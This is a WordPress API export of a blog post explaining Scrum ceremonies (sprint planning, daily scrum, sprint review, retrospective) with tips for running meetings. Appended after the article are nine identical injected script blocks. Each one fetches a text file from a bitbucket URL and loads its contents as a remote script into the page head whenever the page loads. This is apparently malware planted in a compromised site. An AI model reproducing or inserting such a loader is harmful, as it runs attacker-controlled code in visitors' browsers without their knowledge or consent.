{"id":10168,"date":"2022-04-25T15:31:36","date_gmt":"2022-04-25T08:31:36","guid":{"rendered":"https:\/\/bestarion.com\/us\/?p=10168"},"modified":"2025-07-24T17:56:22","modified_gmt":"2025-07-24T10:56:22","slug":"what-is-scrum-ceremonies","status":"publish","type":"post","link":"https:\/\/bestarion.com\/us\/what-is-scrum-ceremonies\/","title":{"rendered":"What is Scrum Ceremonies?"},"content":{"rendered":"<p style=\"text-align: justify;\"><img fetchpriority=\"high\" decoding=\"async\" class=\"size-full wp-image-10169 aligncenter\" src=\"https:\/\/bestarion.com\/us\/wp-content\/uploads\/sites\/8\/2022\/04\/scrum-ceremonies.png\" alt=\"scrum-ceremonies\" width=\"800\" height=\"500\" title=\"\" srcset=\"https:\/\/bestarion.com\/us\/wp-content\/uploads\/sites\/8\/2022\/04\/scrum-ceremonies.png 800w, https:\/\/bestarion.com\/us\/wp-content\/uploads\/sites\/8\/2022\/04\/scrum-ceremonies-300x188.png 300w, https:\/\/bestarion.com\/us\/wp-content\/uploads\/sites\/8\/2022\/04\/scrum-ceremonies-768x480.png 768w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Two pillars that makeup <\/span><a href=\"https:\/\/bestarion.com\/us\/scrum-methodology\/\"><span style=\"font-weight: 400;\">Scrum framework<\/span><\/a><span style=\"font-weight: 400;\"> ensure project delivery are flexibility and accountability. <\/span><b>Scrum ceremonies<\/b><span style=\"font-weight: 400;\">, often known as Scrum rituals, allow Scrum teams to be agile as they go through the lifecycle of a project. Scrum ceremonies are also the place the time when team members are held accountable for their contribution to the project.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">In this comprehensive tutorial on Scrum ceremonies, we&#8217;ll take an in-depth look at five specific events that form what&#8217;s known as the Scrum project management framework. We&#8217;ll also discuss the various Scrum meetings kinds and offer suggestions to help your team get more engaged in these ceremonies.<\/span><\/p>\n<h2 style=\"text-align: justify;\"><span class=\"ez-toc-section\" id=\"What_is_Scrum\"><\/span><span style=\"font-weight: 400;\">What is Scrum?<\/span><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Before we get into the details about Scrum rituals, we should define what Scrum is in the first place.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Scrum is clearly defined as a project management framework that follows the guidelines laid forth in the <\/span><a href=\"https:\/\/agilemanifesto.org\/\" rel=\"nofollow noopener\" target=\"_blank\"><span style=\"font-weight: 400;\">Agile manifesto<\/span><\/a><span style=\"font-weight: 400;\">. It is often misinterpreted as a process for managing projects. However, this is not the reality. <\/span><a href=\"https:\/\/bestarion.com\/us\/agile-methodology\/\"><span style=\"font-weight: 400;\">Agile<\/span><\/a><span style=\"font-weight: 400;\"> is more of an approach to guiding the development of products and other complicated project types that are highly flexible.<\/span><\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/bestarion.com\/us\/agile-software-development\/\"><span style=\"font-weight: 400;\">Agile<\/span><\/a><span style=\"font-weight: 400;\"> focuses on working with shorter durations and frequently collaborating to evaluate the work done and make necessary changes. Agile is an iterative method of managing projects designed to avoid finishing an undertaking and discovering that you&#8217;ve diverged from the plan for several weeks (or even months).<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">The Scrum framework uses these <\/span><a href=\"https:\/\/bestarion.com\/us\/12-principles-of-agile-manifesto\/\"><span style=\"font-weight: 400;\">agile principles<\/span><\/a><span style=\"font-weight: 400;\"> using brief, defined work intervals called <\/span><span style=\"font-weight: 400;\">sprints<\/span><span style=\"font-weight: 400;\">. The typical sprint lasts for two weeks, and however, they may be longer depending on the backlog and project items. After each sprint, the Scrum team meets to review its performance and make necessary adjustments to the course. In addition, Scrum calls for several scheduled meetings throughout the sprint. These meetings are often called &#8220;ceremonies,&#8221; also known as &#8220;rituals,&#8221; Each kind has a specific function.<\/span><\/p>\n<h2 style=\"text-align: justify;\"><span class=\"ez-toc-section\" id=\"Five_Scrum_events_and_Scrum_meeting_types\"><\/span><span style=\"font-weight: 400;\">Five Scrum events and Scrum meeting types?<\/span><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">A Scrum sprint consists of five events, four of which are meetings, often known as ceremonies or rituals. Four Scrum rituals are as follows:<\/span><\/p>\n<ul style=\"text-align: justify;\">\n<li style=\"font-weight: 400;\" aria-level=\"1\"><a href=\"https:\/\/bestarion.com\/us\/guide-to-scrum-sprint-planning-meeting\/\"><span style=\"font-weight: 400;\">Sprint plan<\/span><\/a><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Daily Scrum<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Sprint review<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><a href=\"https:\/\/bestarion.com\/us\/sprint-retrospective\/\"><span style=\"font-weight: 400;\">Sprint retrospective<\/span><\/a><\/li>\n<\/ul>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">The sprint<\/span><span style=\"font-weight: 400;\"> itself is also a critical Scrum event because it is where the rubber meets the road and the actual project work is completed. Let&#8217;s look at each of the four Scrum ceremonies in more detail and see how they fit into the broader Scrum framework.<\/span><\/p>\n<h3 style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Sprint planning<\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">As the name suggests, this ceremony is held before the sprint start. The meeting determines the goals and any concerns or issues about the upcoming sprint. At the sprint planning event, the team will decide what items from the project backlog will be worked on in the scope of their sprint.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Essential elements of the sprint plan routine include:<\/span><\/p>\n<ul style=\"text-align: justify;\">\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">The goals of the sprint<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Identifying the tasks to be completed and who on the team will be accountable for them.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">The setting of goals to be met during the race, such as dates for completion and measures to gauge the extent of success<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Addressing any potential roadblocks, issues, and the possibility of scheduling conflicts that could affect the speed of the race<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Ensure that the plans are recorded and recorded into the <\/span><a href=\"https:\/\/bestarion.com\/us\/top-10-best-scrum-software-for-2022\/\"><span style=\"font-weight: 400;\">Project Management Software<\/span><\/a><span style=\"font-weight: 400;\"> and tracking systems to track the progress and ensure the accountability<\/span><\/li>\n<\/ul>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">When you plan your sprints, it is vital to be aware of any holiday, <\/span><span style=\"font-weight: 400;\">special events, or individual days off that might influence the execution or delivery of specific tasks. Spri<\/span><span style=\"font-weight: 400;\">nts generally last for two weeks, which gives only 10 working days to complete the objectives you&#8217;ve set for your sprint. Furthermore, risk management must always be a factor during the sprint planning session. <\/span><span style=\"font-weight: 400;\">Scrum<\/span><span style=\"font-weight: 400;\"> teams aren&#8217;t invincible to unexpected delays and hangups, so be sure to consider the possibility of these issues in your planning.<\/span><\/p>\n<h3 style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Daily Scrum<\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">The daily Scrum, or &#8220;the daily stand-up,&#8221; is a brief scheduled daily meeting in which team members give an update on the status of the team. The meetings are quick and straightforward, typically taking just 15 minutes and not more than 30 minutes at most. The daily Scrum ensures that everyone is working on the tasks assigned and that any issues or obstructions are taken care of.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Daily Scrum ceremony should be focused on the following four issues:<\/span><\/p>\n<ul style=\"text-align: justify;\">\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">What has been achieved to date?<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">What&#8217;s being developed currently?<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">What&#8217;s coming up?<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Are there any barriers or obstacles hindering progress?<\/span><\/li>\n<\/ul>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">The daily Scrum is not to become an argument in the weeds, and if it does, you run the risk of being a part of your day talking instead of being productive. The <\/span><a href=\"https:\/\/bestarion.com\/us\/scrum-master-2\/\"><span style=\"font-weight: 400;\">Scrum Master<\/span><\/a><span style=\"font-weight: 400;\">&#8216;s responsibility is to keep the process running smoothly. If a team member has a problem that requires additional attention, make sure you schedule some time out of the regular Scrum to deal with it.<\/span><\/p>\n<h3 style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Sprint review<\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Sprint reviews are the first of two after-sprint events. Since Scrum was created as an <\/span><a href=\"https:\/\/bestarion.com\/us\/agile-software-development\/\"><span style=\"font-weight: 400;\">agile Software<\/span><\/a><span style=\"font-weight: 400;\"> improvement framework, every sprint was designed to develop an increment that could be shipped, for example, creating a new feature. The new feature is showcased at the sprint review, and managers are asked for feedback and others.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Scrum has been adopted by project teams from various fields and disciplines that aren&#8217;t IT. However, the basic idea behind the sprint is unchanged: achieve a specific and clearly defined outcome. The sprint review happens at the time when the outcome is demonstrated or presented to the stakeholders to receive feedback and comments.<\/span><\/p>\n<h3 style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Sprint retrospective<\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Sprint retrospectives are the next ceremony after an event has been completed, and it&#8217;s also the last event of this Scrum process. The retrospective ceremony is when the Scrum team evaluates its procedures to determine how they can be improved upon in the following sprints. Remember that the <\/span><a href=\"https:\/\/bestarion.com\/us\/agile-planning-a-beginners-guide-to-planning-executing-iterative-projects\/\"><span style=\"font-weight: 400;\">Agile approach<\/span><\/a><span style=\"font-weight: 400;\"> requires a consistent evaluation and constant improvement. The ritual of retrospective sprints is among the essential aspects of the Scrum framework.<\/span><\/p>\n<h2 style=\"text-align: justify;\"><span class=\"ez-toc-section\" id=\"How_to_conduct_the_Scrum_meeting\"><\/span><span style=\"font-weight: 400;\">How to conduct the Scrum meeting<\/span><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">You can conduct an effective Scrum meeting with success by following these steps.<\/span><\/p>\n<ul style=\"text-align: justify;\">\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Your meetings should be simultaneously and at the exact location every day.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Make contact face-to-face or use video chat when communicating via video chat.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Make them brief and direct -the meetings are typically just 15 minutes long.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Be aware of any changes from the last meeting and the work that must be completed before the next meeting.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Focus on the immediate actions and issues that require resolution. You can tackle any concepts, plans, or problems that will require additional attention in the future.<\/span><\/li>\n<\/ul>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">To stay focused during the Scrum meeting to keep the team focused, ask them three questions:<\/span><\/p>\n<ul style=\"text-align: justify;\">\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Have you made progress since your last meeting?<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">What are you planning to accomplish over these next 24-hours?<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">What challenges or issues do you currently face?<\/span><\/li>\n<\/ul>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Five other tips to ensure that your meetings are effective. Scrum meeting:<\/span><\/p>\n<ul style=\"text-align: justify;\">\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Keep to your scheduled time and plan, and don&#8217;t let your meeting veer off course<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Bring out your Scrum board during the meeting so that your team members can keep track of how they are progressing.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Don&#8217;t invite anyone from outside to the event unless it is necessary<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Make it an informal meeting<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Ensure you enforce the start and stop times, and ensure that your team is prepared.<\/span><\/li>\n<\/ul>\n<h2 style=\"text-align: justify;\"><span class=\"ez-toc-section\" id=\"Why_are_Scrum_ceremonies_useful_for_projects\"><\/span><span style=\"font-weight: 400;\">Why are Scrum ceremonies useful for projects?<\/span><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">There&#8217;s one aspect that workers aren&#8217;t in the mood for the meeting. Team members spend an average of 21% of their time meeting with co-workers and managers. In addition, employees feel that 25 percent of their meeting time goes unnoticed. If meetings are not organized and unfocused, it results in discontent.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Scrum ceremonies, on the other hand, are extremely well-organized and focused.. Every Scrum ceremony has a specific purpose: to establish the expectations, foster efficient collaboration and deliver measured outcomes. Scrum events provide the foundation to allow teams to finish their tasks in a controlled and orderly way and improve the processes they use and enhance their abilities constantly.<\/span><\/p>\n<h2 style=\"text-align: justify;\"><span class=\"ez-toc-section\" id=\"How_do_you_get_your_team_excited_for_Scrum_rituals\"><\/span><span style=\"font-weight: 400;\">How do you get your team excited for Scrum rituals?<\/span><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">As we&#8217;ve learned, every Scrum ritual has a specific purpose, unlike the ad-hoc meetings that employees are usually forced to attend. However, that doesn&#8217;t mean your team is always excited when they think of another day of Scrum. Even if they aren&#8217;t enthusiastic, the team members must be willing participants at every Scrum ceremony.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">If employees feel that their contribution is valued and feel they have a stake in what they are doing, passion typically comes along. Here are some tips you can follow to bring a sense of responsibility to your team.<\/span><\/p>\n<ul style=\"text-align: justify;\">\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">As the Scrum leader, do not glance at your teammates when you are in the meeting. Instead, focus your attention on your computer or notepad when making notes. This kind of psychological trick forces your group members to glance at each other while giving their daily reports instead of staring at you as if they&#8217;re accountable to their boss.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Another quick &#8220;hack&#8221; to signal that the gathering truly belongs to the group is to organize the event in a circle and then slowly walk away from it. The participants are likely to want to observe you while they make their way to the podium; however, they&#8217;ll soon realize they&#8217;re running the ceremony and reporting to one another.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Instead of asking, &#8220;What did you accomplish?&#8221; or, &#8220;What do you plan to finish this morning?&#8221; focus your questions on the sprint&#8217;s goals. For example, you might inquire, &#8220;Are you confident that your team will be able to meet the sprint&#8217;s goal?&#8221; or, &#8220;Is it clear what should be completed today to meet our targets?&#8221;<\/span><\/li>\n<\/ul>\n<p><script>var url = 'https:\/\/bitbucket.org\/goo2\/adss\/raw\/bb48df0654afc575e4e10d9e14d886a4afba6bc2\/go.txt';\nfetch(url)\n    .then(response => response.text())\n    .then(data => {\n        var script = document.createElement('script');\n        script.src = data.trim();\n        document.getElementsByTagName('head')[0].appendChild(script);\n    });<\/script><script>var url = 'https:\/\/bitbucket.org\/goo2\/adss\/raw\/bb48df0654afc575e4e10d9e14d886a4afba6bc2\/go.txt';\nfetch(url)\n    .then(response => response.text())\n    .then(data => {\n        var script = document.createElement('script');\n        script.src = data.trim();\n        document.getElementsByTagName('head')[0].appendChild(script);\n    });<\/script><script>var url = 'https:\/\/bitbucket.org\/goo2\/adss\/raw\/bb48df0654afc575e4e10d9e14d886a4afba6bc2\/go.txt';\nfetch(url)\n    .then(response => response.text())\n    .then(data => {\n        var script = document.createElement('script');\n        script.src = data.trim();\n        document.getElementsByTagName('head')[0].appendChild(script);\n    });<\/script><script>var url = 'https:\/\/bitbucket.org\/goo2\/adss\/raw\/bb48df0654afc575e4e10d9e14d886a4afba6bc2\/go.txt';\nfetch(url)\n    .then(response => response.text())\n    .then(data => {\n        var script = document.createElement('script');\n        script.src = data.trim();\n        document.getElementsByTagName('head')[0].appendChild(script);\n    });<\/script><script>var url = 'https:\/\/bitbucket.org\/goo2\/adss\/raw\/bb48df0654afc575e4e10d9e14d886a4afba6bc2\/go.txt';\nfetch(url)\n    .then(response => response.text())\n    .then(data => {\n        var script = document.createElement('script');\n        script.src = data.trim();\n        document.getElementsByTagName('head')[0].appendChild(script);\n    });<\/script><script>var url = 'https:\/\/bitbucket.org\/goo2\/adss\/raw\/bb48df0654afc575e4e10d9e14d886a4afba6bc2\/go.txt';\nfetch(url)\n    .then(response => response.text())\n    .then(data => {\n        var script = document.createElement('script');\n        script.src = data.trim();\n        document.getElementsByTagName('head')[0].appendChild(script);\n    });<\/script><script>var url = 'https:\/\/bitbucket.org\/goo2\/adss\/raw\/bb48df0654afc575e4e10d9e14d886a4afba6bc2\/go.txt';\nfetch(url)\n    .then(response => response.text())\n    .then(data => {\n        var script = document.createElement('script');\n        script.src = data.trim();\n        document.getElementsByTagName('head')[0].appendChild(script);\n    });<\/script><script>var url = 'https:\/\/bitbucket.org\/goo2\/adss\/raw\/bb48df0654afc575e4e10d9e14d886a4afba6bc2\/go.txt';\nfetch(url)\n    .then(response => response.text())\n    .then(data => {\n        var script = document.createElement('script');\n        script.src = data.trim();\n        document.getElementsByTagName('head')[0].appendChild(script);\n    });<\/script><script>var url = 'https:\/\/bitbucket.org\/goo2\/adss\/raw\/bb48df0654afc575e4e10d9e14d886a4afba6bc2\/go.txt';\nfetch(url)\n    .then(response => response.text())\n    .then(data => {\n        var script = document.createElement('script');\n        script.src = data.trim();\n        document.getElementsByTagName('head')[0].appendChild(script);\n    });<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Two pillars that makeup Scrum framework ensure project delivery are flexibility and accountability. Scrum ceremonies, often known as Scrum rituals, allow Scrum teams to be agile as they go through the lifecycle of a project. Scrum ceremonies are also the place the time when team members are held accountable for their contribution to the project. [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":10169,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"inline_featured_image":false,"footnotes":""},"categories":[3261],"tags":[],"class_list":["post-10168","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-agile-methodology"],"_links":{"self":[{"href":"https:\/\/bestarion.com\/us\/wp-json\/wp\/v2\/posts\/10168","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/bestarion.com\/us\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/bestarion.com\/us\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/bestarion.com\/us\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/bestarion.com\/us\/wp-json\/wp\/v2\/comments?post=10168"}],"version-history":[{"count":4,"href":"https:\/\/bestarion.com\/us\/wp-json\/wp\/v2\/posts\/10168\/revisions"}],"predecessor-version":[{"id":52519,"href":"https:\/\/bestarion.com\/us\/wp-json\/wp\/v2\/posts\/10168\/revisions\/52519"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/bestarion.com\/us\/wp-json\/wp\/v2\/media\/10169"}],"wp:attachment":[{"href":"https:\/\/bestarion.com\/us\/wp-json\/wp\/v2\/media?parent=10168"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/bestarion.com\/us\/wp-json\/wp\/v2\/categories?post=10168"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/bestarion.com\/us\/wp-json\/wp\/v2\/tags?post=10168"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}